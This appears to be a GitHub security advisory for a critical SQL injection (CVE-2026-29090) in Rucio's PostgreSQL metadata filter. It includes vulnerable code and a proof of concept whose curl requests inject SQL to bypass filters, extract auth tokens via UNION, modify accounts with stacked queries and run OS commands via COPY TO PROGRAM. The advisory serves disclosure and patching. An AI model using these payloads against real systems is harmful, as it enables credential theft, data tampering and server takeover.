GitHub Advisoryadvisory · PyPI

GHSA-6j7p-qjhg-9947 Rucio has SQL Injection in FilterEngine PostgreSQL Query Builder via DID Search API

CRITICAL Published 2026-05-06 Modified 2026-06-30 Official page ↗
Aliases
CVE-2026-29090
Ecosystem
PyPI
Packages
rucio
Severity
Critical
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Weaknesses
CWE-89
Reviewed
2026-05-06

Affected packages

• PyPI rucio: >= 1.30.0, < 35.8.5 → fixed in 35.8.5 • PyPI rucio: >= 36.0.0, < 38.5.5 → fixed in 38.5.5 • PyPI rucio: >= 39.0.0, < 39.4.2 → fixed in 39.4.2 • PyPI rucio: >= 40.0.0, < 40.1.1 → fixed in 40.1.1

Description

Summary A SQL injection vulnerability in `FilterEngine.create_postgres_query` allows any authenticated Rucio user to execute arbitrary SQL against the configured PostgreSQL metadata database through the DID search endpoint (`GET /dids//dids/search`). When the external metadata plugin `postgres_meta` is configured, attacker-controlled filter keys and values are interpolated directly into raw SQL statements via Python `str.format`. This enables full database compromise including data exfiltration, data modification, and potential remote code execution via `COPY ... FROM PROGRAM`. --- Details The vulnerability exists in `lib/rucio/core/did_meta_plugins/filter_engine.py` within the `create_postgres_query()` method (lines 408-484). This method builds raw SQL strings via Python `.format()` across 6 distinct injection points: filter_engine.py:477 (string equality — default branch): ```python expression = "{}->>'{}' {} '{}'".format(jsonb_column, key, POSTGRES_OP_MAP[oper], value) ``` filter_engine.py:442 (wildcard/LIKE branch): ```python expression = "{}->>'{}' LIKE '{}' ".format(jsonb_column, key, value.replace('*', '%')) ``` filter_engine.py:456 (boolean branch — value unquoted): ```python expression = "({}->>'{}' )::boolean {} {}".format(jsonb_column, key, POSTGRES_OP_MAP[oper], value) ``` filter_engine.py:462 (numeric branch — value unquoted): ```python expression = "({}->>'{}' )::float {} {}".format(jsonb_column, key, POSTGRES_OP_MAP[oper], value) ``` filter_engine.py:472 (datetime branch): ```python expression = "({}->>'{}' )::timestamp {} '{}'".format(jsonb_column, key, POSTGRES_OP_MAP[oper], value) ``` filter_engine.py:479 (non-JSONB column fallback): ```python expression = "{} {} '{}'".format(key, POSTGRES_OP_MAP[oper], value) ``` Both `key` and `value` are attacker-controlled strings derived from HTTP query parameters. The resulting `expression` string is concatenated into a larger query string (`postgres_query_str`) that is then passed to `psycopg3`'s `sql.SQL()`: ```python postgres_meta.py:314-316 statement = sql.SQL("SELECT * FROM {} WHERE {} {}").format( sql.Identifier(self.table), sql.SQL(postgres_query_str), # /dev/null | grep -i 'x-rucio-auth-token' | awk '{print $2}' | tr -d '\r') ``` 2. Value injection — boolean-based filter bypass ```bash postgres_meta uses create_postgres_query() -> raw string formatting filter_engine.py:477: "{}->>'{}' {} '{}'".format(jsonb_column, key, op, value) curl -s -k \ -H "X-Rucio-Auth-Token: $TOKEN" \ -H "Accept: application/x-json-stream" \ "https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x'%20OR%20'1'%3D'1" URL-decoded: custom_key=x' OR '1'='1 Generated SQL fragment: data->>'custom_key' = 'x' OR '1'='1' Effect: WHERE clause always true, returns all rows ``` 3. Key injection via query parameter name ```bash The key is single-quoted but unescaped — injection via closing quote. filter_engine.py:477: "{}->>'{}' {} '{}'".format(jsonb_column, key, op, value) curl -s -k \ -H "X-Rucio-Auth-Token: $TOKEN" \ -H "Accept: application/x-json-stream" \ "https://rucio.example.org/dids/user.testuser/dids/search?x'%20OR%201%3D1--%20=anything" URL-decoded: key = x' OR 1=1-- , value = anything Generated SQL fragment: data->>'x' OR 1=1-- ' = 'anything' ^^^^^^^^ injected, -- comments out the rest ``` 4. UNION-based data extraction ```bash Extract auth tokens from the tokens table. curl -s -k \ -H "X-Rucio-Auth-Token: $TOKEN" \ -H "Accept: application/x-json-stream" \ "https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x'%20UNION%20SELECT%20token%2Caccount%2CNULL%2CNULL%20FROM%20tokens%20--" URL-decoded: custom_key=x' UNION SELECT token,account,NULL,NULL FROM tokens -- Effect: Appends tokens table contents to the result set ``` 5. Stacked queries — data modification ```bash PostgreSQL supports multiple statements separated by ; curl -s -k \ -H "X-Rucio-Auth-Token: $TOKEN" \ -H "Accept: application/x-json-stream" \ "https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x';%20UPDATE%20accounts%20SET%20account_type%3D'SERVICE'%20WHERE%20account%3D'testuser';%20--" URL-decoded: custom_key=x'; UPDATE accounts SET account_type='SERVICE' WHERE account='testuser'; -- ``` 6. Remote code execution (if database user has superuser privileges) ```bash PostgreSQL COPY ... FROM PROGRAM executes OS commands curl -s -k \ -H "X-Rucio-Auth-Token: $TOKEN" \ -H "Accept: application/x-json-stream" \ "https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x';%20COPY%20(SELECT%20'')%20TO%20PROGRAM%20'id%20>%20/tmp/pwned';%20--" URL-decoded: custom_key=x'; COPY (SELECT '') TO PROGRAM 'id > /tmp/pwned'; -- Requires: database user with pg_execute_server_program or superuser role ``` 7. Alternative entry via `filters` query parameter ```bash The filters parameter accepts Python literal syntax via ast.literal_eval(). curl -s -k \ -H "X-Rucio-Auth-Token: $TOKEN" \ -H "Accept: application/x-json-stream" \ 'https://rucio.example.org/dids/user.testuser/dids/search?filters=%5B%7B%22custom_key%22%3A%20%22x%27%20OR%20%271%27%3D%271%22%7D%5D' URL-decoded: filters=[{"custom_key": "x' OR '1'='1"}] ``` --- Impact Vulnerability type: SQL Injection (CWE-89) CVSS v3.1: 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) Who is impacted: • Rucio deployments that have explicitly configured the `postgres_meta` metadata plugin. What an attacker can do: • Data modification: PostgreSQL stacked queries enable arbitr…

Related

Alias · CVE (1)

  • CVE-2026-29090 ### Summary A SQL injection vulnerability exists in Rucio versions 1.30.0 and later before 35.8.5, 38.5.5, 39.4.2, and 40.1.1, in… vulnerability

Weakness · CWE (1)

  • CWE-89 Improper Neutralization of Special Elements used in an SQL Command weakness

References